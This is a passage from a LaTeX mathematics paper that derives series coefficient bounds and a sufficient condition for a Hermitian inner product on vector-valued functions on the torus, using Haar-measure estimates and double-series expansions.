To set up an inductive argument let $t_{n}$ denote the hypothetical bound on $\Vert \alpha_{n}(x(u,0))\Vert $ and set $v_{n}=\sum\limits_{i=0}^{n-1}t_{n-1-i}\delta_{0}^{-i-1}$; then $v_{n}=\delta_{0}^{-1}( t_{n-1}+v_{n-1}) $ for $n\geq2$. Setting $t_{2n}=\frac{\lambda}{n}v_{2n}$ and $t_{2n+1}=\frac{2\lambda}{2n+1-2\kappa_{0}}v_{2n+1}$ the recurrence relations become
\begin{gather*}
t_{2n} =\frac{\lambda}{n}\left( t_{2n-1}+\frac{2n-1-2\kappa_{0}}{2\lambda }t_{2n-1}\right) \delta_{0}^{-1}=\frac{2\lambda+2n-1-2\kappa_{0}}{2n}t_{2n-1}\delta_{0}^{-1},\\
t_{2n+1} =\frac{2\lambda}{2n+1-2\kappa_{0}}\left( t_{2n}+\frac{n}{\lambda }t_{2n}\right) \delta_{0}^{-1}=\frac{2\lambda+2n}{2n+1-2\kappa_{0}}t_{2n}\delta_{0}^{-1}.
\end{gather*}
Starting with $ \Vert \alpha_{1} \Vert \leq\frac{2\lambda}{1-2\kappa_{0}} \Vert \alpha_{0} \Vert \delta_{0}^{-1}=t_{1}$ the stated bounds are proved inductively.
\end{proof}
By use of Stirling's formula for $\frac{\Gamma ( n+a ) }{\Gamma(n+b) }\sim n^{a-b}$ we see that $t_{n}$ behaves like (a~multiple of) $n^{2\lambda-1}$ for large $n$. Also there is a constant~$c^{\prime}$ depending on $N$ and~$\kappa_{0}$ such that
\begin{gather}
\sum_{n=2}^{\infty}\Vert \alpha_{n}(x(u,0)) \Vert \vert z\vert ^{n}\leq c^{\prime}\Vert \alpha_{0}(x(u,0)) \Vert \left( \frac{\vert z\vert }{\delta_{0}}\right) ^{2}\left( 1-\frac{\vert z\vert }{\delta_{0}}\right) ^{-2\lambda-2}.\label{bndan2z}
\end{gather}
We also need to analyze the ef\/fect of small changes in $u$. Fix a point $x( \widetilde{u},0) $ and consider series expansions of $\alpha_{n}( x( \widetilde{u},0)) $ in powers of $ ( u-\widetilde{u} ) $. Let $\delta_{1}:=\min\limits_{1\leq j\leq N-2}\vert \widetilde{u}-x_{j}\vert $. Recall equation~(\ref{dua0x})
\begin{gather*}
\partial_{u}\alpha_{0}(x(u,0)) =\kappa\alpha _{0}(x(u,0)) \{ \beta_{0}( x ( u,0) ) +\sigma\beta_{0}(x(u,0))\sigma\} ,
\end{gather*}
and solve this in the form
\begin{gather*}
\alpha_{0}(x(u,0)) =\sum_{n=0}^{\infty}\alpha_{0,n} ( x ( \widetilde{u},0 ) ) (u-\widetilde{u}) ^{n}.
\end{gather*}
This leads to the recurrence (suppressing the arguments $x(\widetilde{u},0) $)
\begin{gather*}
\sum_{n=1}^{\infty}n\alpha_{0,n} ( u-\widetilde{u} ) ^{n-1} \\
\qquad{} =\kappa\sum_{n=0}^{\infty}\alpha_{0,n} ( u-\widetilde{u} ) ^{n}
\sum_{m=0}^{\infty}(-1) ^{m} ( u-\widetilde {u} ) ^{m}\sum_{j=0}^{N-2}\frac{\tau ( (j,N-1) ) +\tau((j,N)) }{( \widetilde{u}-x_{j}) ^{m+1}},\\
( n+1) \alpha_{0,n+1} =\kappa\sum_{m=0}^{n}\alpha_{0,n-m}\widetilde{\beta}_{m}( x( \widetilde{u},0) ),\\
\widetilde{\beta}_{m}( x( \widetilde{u},0) ):=(-1) ^{m}\sum_{j=0}^{N-2}\frac{\tau((j,N-1)) +\tau((j,N)) }{(\widetilde{u}-x_{j}) ^{m+1}}.
\end{gather*}
Thus $\Vert \widetilde{\beta}_{m}\Vert \leq\frac{2(N-2) }{\delta_{1}^{m+1}}$ and by a similar method as above we f\/ind
\begin{gather}
\Vert \alpha_{0,n} ( x ( \widetilde{u},0 ))\Vert \leq\frac{( 2\lambda) _{n}}{n!}\delta_{1}^{-n}\Vert \alpha_{0}( x( \widetilde{u},0))\Vert, \label{a0nbd}
\end{gather}
where $\lambda=( N-2) \kappa_{0}$. From
\begin{gather*}
\alpha_{1}(x(u,0)) =\rho\left( \frac{\kappa}{1-2\kappa},\frac{\kappa}{1+2\kappa}\right) \alpha_{0}( x(u,0) ) \sum_{j=0}^{N-2}\frac{\tau( (j,N-1)
) -\tau((j,N)) }{(u-x_{j})}\\
\hphantom{\alpha_{1}(x(u,0))}{} =\rho\left( \frac{\kappa}{1-2\kappa},\frac{\kappa}{1+2\kappa}\right)\sum_{n=0}^{\infty}\alpha_{0,n} ( u-\widetilde{u} )^{n}\\
\hphantom{\alpha_{1}(x(u,0))=}{} \times\sum_{m=0}^{\infty}(-1) ^{m} ( u-\widetilde {u}) ^{m}\sum_{j=0}^{N-2}\frac{\tau( (j,N-1)) -\tau((j,N)) }{(\widetilde
{u}-x_{j}) ^{m+1}},
\end{gather*}
we can derive a recurrence for the coef\/f\/icients in $\alpha_{1}( x ( u,0)) =\sum\limits_{n=0}^{\infty}\alpha_{1,n}( x(\widetilde{u},0))( u-\widetilde{u}) ^{n}$. Also
\begin{gather*}
\Vert \alpha_{1,n}( x( \widetilde{u},0) )\Vert \leq\frac{2\lambda}{1-2\kappa_{0}}\Vert \alpha_{0}(x( \widetilde{u},0) )\Vert \sum_{j=0}^{n}\frac{(2\lambda) _{n-j}}{(n-j) !}\delta_{1}^{j-n}\delta_{1}^{-j-1}\\
\hphantom{\Vert \alpha_{1,n}( x( \widetilde{u},0) )\Vert}{}
=\frac{2\lambda(2\lambda+1) _{n}}{( 1-2\kappa_{0}) n!}\delta_{1}^{-n-1}\Vert \alpha_{0}( x(\widetilde{u},0))\Vert ;
\end{gather*}
note $2\lambda(2\lambda+1) _{n}=(2\lambda) _{n+1}$.
Essentially we are setting up bounds on behavior of $L( x (u,z)) $ for points near $x( \widetilde{u},0) $ in terms of $ \Vert \alpha_{0} (x(\widetilde{u},0))\Vert $ which is handled by the global bound.
In the series
\begin{gather*}
\sum_{n=0}^{\infty}\alpha_{n}(x(u,0)) z^{n}=\sum_{m,n=0}^{\infty}\alpha_{n,m}( x( \widetilde{u},0)) z^{n}( u-\widetilde{u}) ^{m}\end{gather*}
the f\/irst order terms are%
\begin{gather*}
\alpha_{00}( x( \widetilde{u},0) ) +\alpha
_{0,1}( x( \widetilde{u},0)) ( u-\widetilde{u}) +\alpha_{1,0}( x( \widetilde{u},0)) z,
\end{gather*}
and the bounds (\ref{bndan}) for the omitted terms
\begin{gather}
\sum_{n=2}^{\infty}\Vert \alpha_{n}(x(u,0))\Vert \vert z\vert ^{n}\leq c^{\prime}\Vert \alpha_{0}(x(u,0))\Vert \left( \frac{\vert z\vert }{\delta_{0}}\right) ^{2}\left( 1-\frac{\vert z\vert}{\delta_{0}}\right) ^{-2\lambda-2},\nonumber\\
\sum\limits_{n=2}^{\infty}\Vert \alpha_{0,n}( x(\widetilde{u},0) ) \Vert \vert u-\widetilde{u}\vert ^{n} \leq(2\lambda) _{2}\left( \frac
{\vert u-\widetilde{u}\vert }{\delta_{1}}\right) ^{2}\left(
1-\frac{\vert u-\widetilde{u}\vert }{\delta_{1}}\right)
^{-2\lambda-2}\Vert \alpha_{0}( x( \widetilde{u},0))\Vert ,\label{dblseries}\\
\vert z\vert \sum_{n=1}^{\infty}\Vert \alpha_{1,n}(
x( \widetilde{u},0)) \Vert \vert
u-\widetilde{u}\vert ^{n} \leq\frac{(2\lambda) _{2}
}{1-2\kappa_{0}}\left( \frac{\vert z( u-\widetilde{u})
\vert }{\delta_{1}^{2}}\right) \left( 1-\frac{\vert
u-\widetilde{u}\vert }{\delta_{1}}\right) ^{-2\lambda-2}\Vert
\alpha_{0}( x( \widetilde{u},0))\Vert.\nonumber
\end{gather}
Note there is a dif\/ference between $\delta_{0}$ and $\delta_{1}$: $\delta _{0},\delta_{1}$ are the distances from the nearest $x_{j}$ ($1\leq j\leq
N-2)$ to $u,\widetilde{u}$ respectively; thus the double series converges in $\vert z\vert +\vert u-\widetilde{u}\vert <\delta_{1}$ because this implies $\vert z\vert <\delta_{1}- \vert u-\widetilde{u} \vert \leq\delta_{0}$, by the triangle inequality: $\delta_{1}\leq\vert u-\widetilde{u}\vert +\delta_{0}$ .
\section{Suf\/f\/icient condition for the inner product property}\label{suffco}
In this section we will use the series
\begin{gather*}
L_{1}(y,u-z,u+z) =\left( \prod\limits_{j=1}^{N}x_{j}\right) ^{-\gamma\kappa}\rho\big( z^{-\kappa},z^{\kappa}\big) \sum_{n=0}^{\infty
}\alpha_{n}(x(u,0)) z^{n},
\end{gather*}
normalized by $\alpha_{0}\big( x^{(0) }\big) =I$ where $x^{(0) }=\big( 1,\omega,\omega^{2},\ldots,\omega^{N-3},\omega^{-3/2},\omega^{-3/2}\big) $, $\omega=e^{2\pi\mathrm{i}/N}$. The hypothesis is that there exists a Hermitian matrix~$H$ such that $\upsilon H=H\upsilon$ (recall $\upsilon:=\tau(w_{0})$) and the matrix~$H_{1}$ def\/ined by
\begin{gather}
L_{1}(x) ^{\ast}H_{1}L_{1}(x) =L(x) ^{\ast}HL(x) \label{LHL}
\end{gather}
commutes with $\sigma=\tau(N-1,N) $ (recall $L (x_{0}) =I$). Setting $x=x_{0}$ we f\/ind that $H=L_{1}(x_{0}) ^{\ast}H_{1}L_{1}(x_{0}) $. The analogous
condition has to hold for each face of $\mathcal{C}_{0}$ and any such face can be obtained from $\{ x_{N-1}=x_{N}\} $ by applying $x\mapsto xw_{0}^{m}$ with suitable $m$. For notational simplicity we will work out only the $\{ x_{N-2}=x_{N-1}\} $ case. From the general relation $w(i,j) w^{-1}=(w(i),w(j))$ we obtain $w_{0}^{-1}(N-1,N) w_{0}=(N-2,N-1)$. A matrix $M$ commutes with $\tau(N-2,N-1)$ if and only if $\upsilon M\upsilon^{-1}$ commutes with $\sigma$. Let
\begin{gather*}
x^{\prime} =\big( x_{1}^{\prime},\ldots,x_{N-3}^{\prime},u-z,u+z,x_{N}^{\prime}\big) ,\\
x^{\prime}w_{0}^{-1} =\big( x_{N}^{\prime},x_{1}^{\prime},\ldots ,x_{N-3}^{\prime},u-z,u+z\big) =x,\\
L_{2}( x^{\prime}) :=\upsilon^{-1}L_{1}\big( x^{\prime}w_{0}^{-1}\big) \upsilon =\left( \prod\limits_{j=1}^{N}x_{j}\right) ^{-\gamma\kappa}\upsilon
^{-1}\rho\big( z^{-\kappa},z^{\kappa}\big) \sum_{n=0}^{\infty}\alpha_{n}(y,u) \upsilon z^{n}.
\end{gather*}
This is a solution of (\ref{Lsys}) by Proposition~\ref{L(xw)}. This has the analogous behavior to $L_{1}$; writing
\begin{gather*}
\upsilon^{-1}\rho\big( z^{-\kappa},z^{\kappa}\big) \alpha_{n} (y,u) \upsilon=\big\{ \upsilon^{-1}\rho\big( z^{-\kappa},z^{\kappa
}\big) \upsilon\big\} \big\{ \upsilon^{-1}\alpha_{n} (y,u) \upsilon\big\}
\end{gather*}
implies the relations
\begin{gather*}
\tau(N-2,N-1) \big\{ \upsilon^{-1}\rho\big( z^{-\kappa },z^{\kappa}\big) \upsilon\big\} =\big\{ \upsilon^{-1}\rho\big(
z^{-\kappa},z^{\kappa}\big) \upsilon\big\} \tau(N-2,N-1),\\
\tau(N-2,N-1) \big\{ \upsilon^{-1}\alpha_{n} (y,u) \upsilon\big\} \tau(N-2,N-1) = (-1) ^{n}\big\{ \upsilon^{-1}\alpha_{n}(y,u)
\upsilon\big\} ,\qquad n\geq0.
\end{gather*}
We claim that the Hermitian matrix $H_{2}$ def\/ined by
\begin{gather}
L_{2}(x) ^{\ast}H_{2}L_{2}(x) =L(x)^{\ast}HL(x) \label{L2H2L2}
\end{gather}
commutes with $\tau(N-2,N-1) $. There is a subtle change: the base point $x^{(0)}=\big( 1,\omega,\ldots,\omega^{N-2}$, $\omega^{-3/2},\omega^{-3/2}\big) $ is replaced by $\big( \omega ,\ldots,\omega^{N-2},\omega^{-3/2},\omega^{-3/2},1\big) $ and now $\omega x_{0}=\big( \omega,\ldots,\omega^{N-1},1\big) $ is in the domain of convergence of~$L_{2}$. Set $x=\omega x_{0}$ in~(\ref{L2H2L2}) to obtain
\begin{gather*}
L_{2}(\omega x_{0}) =\upsilon^{-1}L_{1}\big( \omega x_{0}w_{0}^{-1}\big) \upsilon=\upsilon^{-1}L_{1}(x_{0})\upsilon,\\
H_{2} =( L_{2}(\omega x_{0}) ^{\ast})^{-1}HL_{2}(\omega x_{0}) ^{-1}=\upsilon^{-1}(L_{1}(x_{0}) ^{\ast}) ^{-1}\upsilon H\upsilon^{-1}L_{1}(x_{0}) ^{-1}\upsilon\\
\hphantom{H_{2}}{} =\upsilon^{-1} ( L_{1}(x_{0}) ^{\ast} )^{-1}HL_{1}(x_{0}) ^{-1}\upsilon=\upsilon^{-1}H_{1}\upsilon,
\end{gather*}
because $H$ commutes with $\upsilon$ (and $L(\omega x_{0}) =L(x_{0}) =I$ by the homogeneity). Thus $H_{2}$ commutes with $\tau(N-2,N-1) $.
From Theorem \ref{Lbnd} we have the bound
\begin{gather*}
\Vert L(x) ^{\ast}HL(x)\Vert \leq c\prod\limits_{i<j}\vert x_{i}-x_{j} \vert ^{-2\vert \kappa\vert }.
\end{gather*}
Denote $K(x) =L(x) ^{\ast}HL(x) $. We will show that there is an interval $-\kappa_{1}<\kappa<\kappa_{1}$ where $\kappa_{1}$ depends on $N$ such that
\begin{gather*}
\int_{\mathbb{T}^{N}}\big\{ ( x_{N}\mathcal{D}_{N}f ) ^{\ast}(x) K(x) g(x) -f^{\ast} (x t) K(x) x_{N}\mathcal{D}_{N}g(x) \big\}\mathrm{d}m(x) =0,
\end{gather*}
for each $f,g\in C^{1}\big( \mathbb{T}^{N};V_{\tau}\big) $. Consider the Haar measure of $\big\{ x\colon \min\limits_{i<j}\vert x_{i}-x_{j}\vert
<\varepsilon\big\} $; let $\sin\frac{\varepsilon^{\prime}}{2} =\frac{\varepsilon}{2}$ and $i<j$ then $m\big\{ x\colon \vert x_{i}-x_{j}\vert \leq\varepsilon\big\} =\frac{1}{\pi}\varepsilon^{\prime}$, thus $m\big\{ x\colon \min\limits_{i<j}\vert x_{i}-x_{j}\vert <\varepsilon\big\} \leq \binom{N}{2}\frac{\varepsilon^{\prime}}{\pi}$. The integral is broken up into three pieces. The aim is to let $\delta \rightarrow0$; where $\delta$ satisf\/ies an upper bound $\delta<\min\big(\big( 2\sin\frac{\pi}{N}\big) ^{2},\frac{1}{9}\big)$; the f\/irst term comes from the maximum spacing of~$N$ points on~$\mathbb{T}$ and the second is equivalent to $3\delta<\delta^{1/2}$. Also $\delta^{\prime}:=2\arcsin\frac{\delta}{2}$.
\begin{enumerate}\itemsep=0pt
\item $\min\limits_{i<j}\vert x_{i}-x_{j}\vert <\delta$, done with the integrability of $\prod\limits_{i<j}\vert x_{i}-x_{j}\vert
^{-2\vert \kappa\vert }$ for $\vert \kappa\vert <\frac{1}{N}$ (from the Selberg integral $\int_{\mathbb{T}^{N}}\prod \limits_{i<j}\vert x_{i}-x_{j}\vert ^{-2 \vert \kappa \vert }\mathrm{d}m(x) =\frac{\Gamma 1-N \vert \kappa\vert) }{\Gamma( 1-\vert \kappa\vert) ^{N}}$), and the measure of the set is~$O( \delta) $. The limit as $\delta\rightarrow0$ is zero by the dominated convergence theorem.
\item $\delta\leq\min\limits_{1\leq i<j\leq N-1}\vert x_{i}-x_{j}\vert <\delta^{1/2}$ and $\delta\leq\min\limits_{1\leq i\leq N-1}\vert x_{i}-x_{N}\vert $; this case uses the same bound on $K$ and the $\mathbb{T}^{N-1}$-Haar measure of $\big\{ x\in \mathbb{T}^{N-1} \colon \min\limits_{1\leq i<j\leq N-1} \vert x_{i} -x_{j} \vert <\delta^{1/2}\big\} ;$
\item $\min\limits_{1\leq i<j\leq N-1}\vert x_{i}-x_{j}\vert \geq\delta^{1/2}$ and $\min\limits_{1\leq i\leq N-1}\vert x_{i}-x_{N}\vert \geq\delta$. This is done with a detailed analysis using the double series from~(\ref{dblseries}).
\end{enumerate}
The total of parts (2) and (3), that is, the integral over $\Omega_{\delta}$, equals
\begin{gather*}
\int_{\Omega_{\delta}}x_{N}\partial_{N}\{ f(x)^{\ast}K(x) g(x)\} \mathrm{d}m (x).
\end{gather*}
We use the coordinates $x_{j}=e^{\mathrm{i}\theta_{j}}$, $1\leq j\leq N$; thus $x_{N}\partial_{N}=-\mathrm{i}\frac{\partial}{\partial
\theta_{N}}$. For f\/ixed $( \theta_{1},\ldots,\theta_{N-1}) $ the condition $x\in\Omega_{\delta}$ implies that the set of $\theta_{N}$-values is a~union of disjoint closed intervals (it is possible there is only one, in the extreme case $\theta_{j}=j\delta^{\prime}$ for $1\leq j\leq N-1$ the interval is $N\delta^{\prime}\leq\theta_{N}\leq2\pi$). In case (2) the $\theta_{N}$-integration results in a sum of terms $( f^{\ast}Kg) \big(e^{\mathrm{i}\theta_{1}}, \ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}\phi }\big) $ with coef\/f\/icients $\pm1$ where $\min\limits_{1\leq i\leq N-1} \vert \phi-\theta_{i} \vert =\delta$. Each such sum is bounded by $2(N-1) c\Vert f\Vert _{\infty}\Vert g \Vert _{\infty}\delta^{-N(N-1) \vert \kappa \vert }$, because $\prod\limits_{i<j}\vert x_{i}-x_{j}\vert \geq\delta^{N(N-1) /2}$ on $\Omega_{\delta}$. Thus the integral for part~(2) is bounded by
\begin{gather*}
2(N-1)\Vert f\Vert _{\infty}\Vert g\Vert _{\infty}\delta^{-N(N-1) \vert \kappa\vert }\binom{N-1}{2}\left( 2\arcsin\frac{\delta^{1/2}}{2}\right) \leq c^{\prime
}\delta^{1/2-N(N-1) \vert \kappa\vert },
\end{gather*}
for some f\/inite constant $c^{\prime}$ (depending on $f$, $g$). This term tends to zero as $\delta\rightarrow0$ if $\vert \kappa\vert <\frac {1}{2N(N-1) }$.
In part (3) the intervals $[ \theta_{i}-\delta^{\prime},\theta_{i}+\delta^{\prime}] $ are pairwise disjoint because $\vert\theta_{i}-\theta_{j}\vert \geq3\delta^{\prime}$ for $i\neq j$ (recall $\sqrt{\delta}>3\delta$). To simplify the notation assume $\theta_{1}<\theta_{2}<\cdots$ (the other cases follow from the group invariance of the setup). Then the $\theta_{N}$-integration yields
\begin{gather*}
(2\pi) ^{1-N}\sum_{j=1}^{N-1}\int_{R_{\delta}}\left\{
\begin{matrix}
( f^{\ast}Kg) \big( e^{\mathrm{i}\theta_{1}},\ldots
,e^{\mathrm{i}\theta_{j}},\ldots,e^{\mathrm{i} ( \theta_{j}-\delta^{\prime} ) }\big) \\
- ( f^{\ast}Kg ) \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{j}},\ldots,e^{\mathrm{i} ( \theta_{j}+\delta^{\prime} ) }\big)
\end{matrix}
\right\} \mathrm{d}\theta_{1}\cdots\mathrm{d}\theta_{N-1},
\end{gather*}
where $R_{\delta}:=\big\{ ( \theta_{1},\ldots,\theta_{N-1} ) :\theta_{1}<\theta_{2}<\cdots<\theta_{N-1}<\theta_{1}+2\pi,\min \big\vert
e^{\mathrm{i}\theta_{j}}-e^{\mathrm{i}\theta_{k}}\big\vert \geq\sqrt{\delta }\big\}$. It suf\/f\/ices to deal with the term with $j=N-1$; this allows the
use of the double series. It is fairly easy to show that $ ( f^{\ast}Kg) \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}( \theta_{N-1}-\delta^{\prime}) }\big) - (f^{\ast}Kg) \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}( \theta_{N-1}+\delta^{\prime})}\big) $ tends to zero with $\delta$ but this is not enough to control the integral. The idea is to show that
\begin{gather*}
\big\vert ( f^{\ast}Kg ) \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i} ( \theta_{N-1}-\delta^{\prime} ) }\big) - (f^{\ast}Kg) \big(e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i} ( \theta_{N-1}+\delta^{\prime} ) }\big) \big\vert \\
\qquad{} \leq c''\delta^{1/2-2\vert \kappa\vert }\big\vert (f^{\ast}Kg) \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i} ( \theta_{N-1}+\delta^{\prime} )}\big) \big\vert
\end{gather*}
for some constant $c''$. This can then be bounded using the $ \Vert K\Vert $ bound for suf\/f\/iciently small $\vert \kappa\vert $. Fix $y=\big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-2}}\big) $ and let $x ( y,u-v,u+v ) $ denote $\big(e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-2}},u-z,u+z\big)$. We will use the form $K=L_{1}^{\ast}H_{1}L_{1}$ from~(\ref{LHL}) with two
pairs of values along with $\widetilde{u}=e^{\mathrm{i}\theta_{N-1}}$, and set $\zeta=e^{\mathrm{i\delta}^{\prime}}$
\begin{enumerate}\itemsep=0pt
\item[1)] $\eta^{(1) }=x ( y,u_{1}-z_{1},u_{1}+z_{1} ) =x\big( y,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i} ( \theta
_{N-1}+\delta^{\prime} ) }\big) $, then $u_{1}=\frac{1}{2}\widetilde{u} ( 1+\zeta ) $, $z_{1}=\frac{1}{2}\widetilde{u} (\zeta-1 ) $, $u_{1}-\widetilde{u}=z_{1}$, $ \vert z_{1} \vert =\delta$,
\item[2)] $\eta^{(2) }=x ( y,u_{2}-z_{2},u_{2}+z_{2} ) =x\big( y,e^{\mathrm{i} ( \theta_{N-1}-\delta^{\prime} ) },e^{\mathrm{i}\theta_{N-1}}\big) $, then $u_{2}=\frac{1}{2}\widetilde {u}\big( 1+\zeta^{-1}\big) $, $z_{2}=\frac{1}{2}\widetilde{u}\big(1-\zeta^{-1}\big) =\zeta^{-1}z_{1}$, $u_{2}-\widetilde{u}=-z_{2}$, $ \vert z_{2} \vert =\delta$.
\end{enumerate}
Let $\eta^{(3) }\!=\!x\big( y,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i} ( \theta_{N-1}-\delta^{\prime} ) }\big)\! =\!\eta^{(2) }(N-1,N) $, then by construction
$K\big( \eta^{(3) }\big) \!=\!\sigma K\big( \eta^{(2) }\big) \sigma$. We start by disposing of the $f$ and $g$ factors: by uniform continuous dif\/ferentiability there is a constant $c^{\prime \prime\prime}$ such that $\big\Vert f\big( \eta^{(1)}\big) -f\big( \eta^{(3) }\big) \big\Vert \leq c^{\prime\prime\prime}\delta^{\prime}$ and $\big\Vert g\big( \eta^{(1) }\big) -g\big( \eta^{(3) }\big) \big\Vert \leq c^{\prime\prime\prime}\delta^{\prime}$ (same constant for all of~$\mathbb{T}^{N}$). So the error made by assuming~$f$ and~$g$ are constant is bounded by $c^{\prime\prime\prime}\delta^{\prime}\big( \big\Vert K\big(\eta^{(1) }\big) \big\Vert +\big\Vert K\big(\eta^{(2) }\big) \big\Vert \big) $. The problem is reduced to bounding $K\big( \eta^{(1) }\big) -\sigma K\big( \eta^{(2) }\big) \sigma$. To add more detail about the ef\/fect of the $\ast$-operation on $u$ and $z$ we compute
\begin{gather*}
z^{\ast}=\frac{1}{2}\left( \frac{1}{u+z}-\frac{1}{u-z}\right) =-\frac{z}{u^{2}-z^{2}}, \qquad u^{\ast}=\frac{1}{2}\left( \frac{1}{u+z}+\frac{1}{u-z}\right)=\frac{u}{u^{2}-z^{2}}
\end{gather*} and if $u-z=e^{i\theta_{N-1}}$, $u+z=e^{i\theta_{N}}$ then
\begin{gather*}
z =\frac{1}{2}e^{\mathrm{i} ( \theta_{N-1}+\theta_{N} )
/2}\big( e^{\mathrm{i} ( \theta_{N}-\theta_{N-1} ) /2}-e^{\mathrm{i} ( \theta_{N-1}-\theta_{N} ) /2}\big)
=\mathrm{i}e^{\mathrm{i} ( \theta_{N-1}+\theta_{N} ) /2}\sin \frac{\theta_{N}-\theta_{N-1}}{2},\\
z^{\ast} =\mathrm{i}e^{-\mathrm{i} ( \theta_{N-1}+\theta_{N} )/2}\sin\frac{\theta_{N-1}-\theta_{N}}{2}=\overline{z},\\
u =\frac{1}{2}e^{\mathrm{i} ( \theta_{N-1}+\theta_{N} ) /2}\big( e^{\mathrm{i} ( \theta_{N}-\theta_{N-1} ) /2}+e^{\mathrm{i} ( \theta_{N-1}-\theta_{N} ) /2}\big) =e^{\mathrm{i}( \theta_{N-1}+\theta_{N}) /2}\cos\frac{\theta_{N}-\theta_{N-1}}{2},\\
u^{\ast} =e^{-\mathrm{i}( \theta_{N-1}+\theta_{N}) /2}\cos\frac{\theta_{N-1}-\theta_{N}}{2}=\overline{u};
\end{gather*}
the $\ast$-operation agrees with complex conjugate on the torus and $\rho( z^{-\kappa},z^{\kappa}) ^{\ast}=\rho( \overline{z}^{-\kappa},\overline{z}^{\kappa}) $. The reason for this is to emphasize that $L(x) ^{\ast}$ is an analytic function agreeing with the (Hermitian) adjoint of~$L(x)$. Thus
\begin{gather}
K\big( \eta^{(1) }\big) =\sum_{n,m=0}^{\infty}\alpha_{n}( x(u_{1},0)) ^{\ast}\rho\big(z_{1}^{-\kappa},z_{1}^{\kappa}\big) ^{\ast}H_{1}\rho\big( z_{1}^{-\kappa
},z_{1}^{\kappa}\big) \alpha_{m} ( x(u_{1},0) ) ( z_{1}^{\ast} ) ^{m}z_{1}^{n}\nonumber\\
\hphantom{K\big( \eta^{(1) }\big)}{} =\sum_{n,m=0}^{\infty}\alpha_{n} ( x(u_{1},0) )
^{\ast}H_{1}\rho \big( \vert z_{1} \vert ^{-2\kappa}, \vert z_{1} \vert ^{2\kappa}\big) \alpha_{m} ( x(u_{1},0) ) \overline{z_{1}}^{m}z_{1}^{n},\label{Keta1}
\end{gather}
because $H_{1}$ commutes with $\sigma$ and hence with $\rho ( z_{1}^{-\kappa},z_{1}^{\kappa}) $, and
\begin{gather}
K\big( \eta^{(3) }\big) =\sigma K\big( \eta^{(2) }\big) \sigma\nonumber\\
\hphantom{K\big( \eta^{(3) }\big)}{} =\sum_{n,m=0}^{\infty}(-1)
^{m+n}\alpha_{n}(x(u_{2},0)) ^{\ast}H_{1}\rho\big(\vert z_{2}\vert ^{-2\kappa},\vert z_{2}\vert ^{2\kappa}\big) \alpha_{m}(x( u_{2},0)) \overline{z_{2}}^{m}z_{2}^{n},\label{Keta3}
\end{gather}
because $\sigma\alpha_{n}(x(u_{2},0)) \sigma=(-1) ^{n}\alpha_{n}(x(u_{2},0)) $ for $n\geq0$. Now we use the expansion in powers of $(u-\widetilde{u}) ^{n}$ to evaluate $K\big( \eta^{(1)}\big) -K\big( \eta^{(3) }\big) $. From the inequality~(\ref{bndan2z})
\begin{gather}
\sum_{n=2}^{\infty} \Vert \alpha_{n}(x(u,0))
\Vert \vert z\vert ^{n} \leq c^{\prime} \Vert
\alpha_{0}(x(u,0)) \Vert \left(
\frac{\vert z\vert }{\delta_{0}}\right) ^{2}\left( 1-\frac
{\vert z\vert }{\delta_{0}}\right) ^{-2\lambda-2}\nonumber\\
\hphantom{\sum_{n=2}^{\infty} \Vert \alpha_{n}(x(u,0)) \Vert \vert z\vert ^{n}}{} =c^{\prime}\delta \Vert \alpha_{0}(x(u,0))
\Vert \big( 1-\delta^{1/2}\big) ^{-2\lambda-2}\label{bnd1}
\end{gather}
with $\delta_{0}=\min\limits_{1\leq j\leq N-2} \vert u-x_{j} \vert =\delta^{1/2}$ we can restrict the problem to $0\leq n,m\leq1$. The omitted terms in $K\big( \eta^{(1) }\big) -K\big( \eta^{(3) }\big) $ are bounded by $c^{\prime\prime}\delta^{1-2 \vert \kappa \vert } \Vert B_{1} \Vert \Vert \alpha_{0} (x( u_{2},x) ) \Vert ^{2}$, for some constant~$c^{\prime\prime}$. Then
\begin{gather*}
L_{1}\big(\eta^{(1)}\big) =\left( \prod \limits_{j=1}^{N}x_{j}^{(1) }\right) ^{-\gamma\kappa}\rho\big( z_{1}^{-\kappa},z_{1}^{\kappa}\big) \left\{
\begin{matrix}
\alpha_{00}(x(\widetilde{u},0)) +\alpha
_{0,1}(x(\widetilde{u},0)) ( u_{1}-\widetilde{u}) \\
+\alpha_{1,0}(x(\widetilde{u},0)) z_{1}+O(\delta)
\end{matrix}
\right\} ,\\
\sigma L_{1}\big(\eta^{(2)}\big) \sigma =\left(\prod\limits_{j=1}^{N}x_{j}^{(2) }\right) ^{-\gamma\kappa}\rho\big( z_{2}^{-\kappa},z_{2}^{\kappa}\big) \left\{
\begin{matrix}
\alpha_{00}(x(\widetilde{u},0)) +\alpha_{0,1}(x(\widetilde{u},0)) ( u_{2}-\widetilde{u}) \\
-\alpha_{1,0}(x(\widetilde{u},0)) z_{2}+O(\delta)
\end{matrix}
\right\} ,
\end{gather*}
because $\sigma\alpha_{1}(x(u,0)) \sigma= (-1) ^{n}\alpha_{1}(x(u,0)) $. The terms $O(\delta) $ correspond to the bound in~(\ref{bnd1}). Drop the
argument $x(\widetilde{u},0) $ for brevity. Combining these with~(\ref{Keta1}) and~(\ref{Keta3}) we obtain
\begin{gather*}
K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) = \{ \alpha_{0,1} ( u_{1}-\widetilde{u} )
+\alpha_{1,0}z_{1} \} ^{\ast}H_{1}\rho\big( \vert z_{1}\vert ^{-2\kappa},\vert z_{1}\vert ^{2\kappa}\big)\alpha_{00}\\
\hphantom{K\big(\eta^{(1)}\big) -K\big( \eta^{(3)}\big) =}{} +\alpha_{00}^{\ast}H_{1}\rho\big(\vert z_{1}\vert ^{-2\kappa
